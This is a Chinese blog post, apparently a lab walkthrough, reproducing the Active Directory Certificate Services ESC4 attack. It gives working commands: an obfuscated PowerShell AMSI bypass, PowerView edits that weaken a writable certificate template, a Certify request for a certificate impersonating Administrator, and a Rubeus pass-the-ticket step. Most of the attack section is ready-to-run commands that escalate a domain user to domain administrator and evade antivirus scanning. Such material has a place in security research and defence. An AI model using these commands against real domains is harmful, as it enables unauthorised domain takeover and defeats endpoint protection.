首页 > 其他分享 >ADCS-EC4

ADCS-EC4

时间:2022-12-17 10:55:09浏览次数:65  
标签:mspki CN 证书 DC EC4 ADCS Services com

参考链接

https://redteam.wiki/postexploitation/active-directory/adcs/esc4

https://www.wangan.com/p/7fy747b040b15bd7#ADCSESC2

https://burmat.gitbook.io/security/hacking/domain-exploitation#reset-domain-user-password

之前讲的是ec1 ,这次讲ec4

漏洞复现

开启条件

开启CA证书管理程序批准
开启授权签名
配置Domain Users有可写权限(危害点)
其他保持默认

最主要的是还是有**WriteDacl**写这个权限

使用Certify可以发现 domain users 组 对模版esc4 具有写的acl权限

Certify.exe find /vulnerable

image.png

这里有如下几个熟悉需要注意

mspki-enrollment-flag : PEND_ALL_REQUESTS

在微软的[https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/1192823c-d839-4bc3-9b6b-fa8c53507ae1](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/1192823c-d839-4bc3-9b6b-fa8c53507ae1) 文章中有指出 CT_FLAG_PEND_ALL_REQUESTS 如果该属性值存在,每次请求的证书都需要经过管理者的批准,才可以进行申请,这里需要在 mspki-enrollment-flag 禁用 CT_FLAG_PEND_ALL_REQUESTS

image.png

mspki-ra-signature 1

该字段表示 颁发证书的授权签名数 默认为1次 我们需要改为0

msPKI-Certificates-Name-Flag : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_REQUIRE_DIRECTORY_PATH

该字段 https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/1192823c-d839-4bc3-9b6b-fa8c53507ae1 如果在msPKI-Certificates-Name-Flag中 添加 ENROLLEE_SUPPLIES_SUBJECT值,我们可以在请求证书的时候选择伪造任意用户

image.png

mspki-certificate-application-policy字段表示通信方式,此属性指定证书应用程序策略扩展,为证书设置不同策略以进行身份验证 默认要选择 客户端身份验证 1.3.6.1.5.5.7.3.21
image.png

所以对于ec4的攻击步骤为

获取易受攻击模板(ESC4)的注册权限
禁用PEND_ALL_REQUESTS标志mspki-enrollment-flag以禁用经理批准
将mspki-ra-signature属性设置为0以禁用授权签名要求
启用ENROLLEE_SUPPLIES_SUBJECT标志以mspki-certificate-name-flag将高特权帐户名称指定为 SAN
设置mspki-certificate-application-policy为证书用途以进行身份验证
请求高权限证书进行身份验证并执行 Pass-The-Ticket 攻击

证书注册权限

**使用powerview 将domain users 组 加入 Esc4模版下的 **Enrollment Rights 注册权限

Certificate-Enrollment:此扩展权限对应“注册”权限。根据Microsoft Docs,相应的 GUID 是0e10c968-78fb-11d2-90d4-00c04f79dc55.
Certificate-AutoEnrollment:此扩展权限对应于“自动注册”权限。根据Microsoft Docs,相应的 GUID 是a05b8cc2-17bc-4802-a710-e7c15ab866a2.
要获得模板的注册权,我们需要向目标证书添加Certificate-Enrollment(GUID:)0e10c968-78fb-11d2-90d4-00c04f79dc55扩展权。

进行bypass asmi

$a="5492868772801748688168747280728187173688878280688776828"
$b="1173680867656877679866880867644817687416876797271"
$c=[string](0..37|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " "
$d=[Ref].Assembly.GetType($c)
$e=[string](38..51|%{[char][int](29+($a+$b).substring(($_*2),2))})-replace " "
$f=$d.GetField($e,'NonPublic,Static')
$f.SetValue($null,$true)
Import-Module C:\Users\ca\Desktop\PowerView.ps1
Add-DomainObjectAcl -TargetIdentity ESC4 -PrincipalIdentity "Domain Users" -RightsGUID "0e10c968-78fb-11d2-90d4-00c04f79dc55" -TargetSearchBase "LDAP://CN=Configuration,DC=test,DC=com" -Verbose

image.png

通过ldap 查看 CN=Esc4,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=x,DC=com nTSecurityDescriptor 属性值

image.png
可以查看到该模版策略下面每个用户具有的策略权限

再次通过执行 Certify.exe find /vulnerable
image.png

可以发现成功添加上

禁用证书管理者审批

这里也就是属性mspki-enrollment-flag内的PEND_ALL_REQUESTS 为空

通过命令

Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity ESC4 -XOR @{'mspki-enrollment-flag'=2} -Verbose

image.png

这里通过ldap直接修改的值为32
image.png
image.png

禁用签名

这里也就是修改msPKI-RA-Signature 的值为0 ,可以直接通过ldap修改 ,也可以用Powerview

Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=test,DC=com" -Identity ESC4 -Set @{'mspki-ra-signature'=0} -Verbose

image.png

启用 msPKI-Certificate-Name-Flag 下的 ENROLLEE_SUPPLIES_SUBJECT

这里的作用就是可以伪造用户进行证书申请 启用 ENROLLEE_SUPPLIES_SUBJECT

Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=test,DC=com" -Identity ESC4 -XOR @{'mspki-certificate-name-flag'=1} -Verbose

image.png

这里在ldap中修改的值为138412033

image.png

编辑证书申请策略扩展

这里也就是msPKI-Certificate-Application-Policy属性下的值
image.png

客户端身份验证(OID 1.3.6.1.5.5.7.3.2:)
智能卡登录(OID 1.3.6.1.4.1.311.20.2.2:)
PKINIT 客户端身份验证(OID 1.3.6.1.5.2.3.4:)
任何目的(OID 2.5.29.37.0:)
没有 EKU
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=test,DC=com" -Identity ESC4 -Set @{'mspki-certificate-application-policy'='1.3.6.1.5.5.7.3.2'} -Verbose

申请pem证书

Certify.exe request /ca:dc.x.com\x-DC-CA /template:Esc4 /altname:[email protected]

image.png

将文件转化为pfx 证书

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx

查看证书信息

certutil -v -dump admin.pfx

申请tgt

Rubeus.exe asktgt /user:Administrator  /certificate:admin.pfx /ptt

image.png

image.png

标签:mspki,CN,证书,DC,EC4,ADCS,Services,com
From: https://www.cnblogs.com/xxxxuan/p/16988698.html

相关文章

  • 基于FPGA的AD7303/ADCS7476模拟数字转换VHDL开发
    目录一、理论基础二、核心程序三、测试结果 一、理论基础在AlteraNIOS板上设计和实现一个格式转换系统,该系统读取模拟输入,将其转换为数字数据,然后将其反向转换为......
  • LEC4_note
    Fault-TolerantVirtualMachines摘要VMFT是从机器级别进行复制,可以使得任意软件都具有容错性在商业服务器上,对性能影响低于10%,主备服务器间的通信带宽约20Mbit......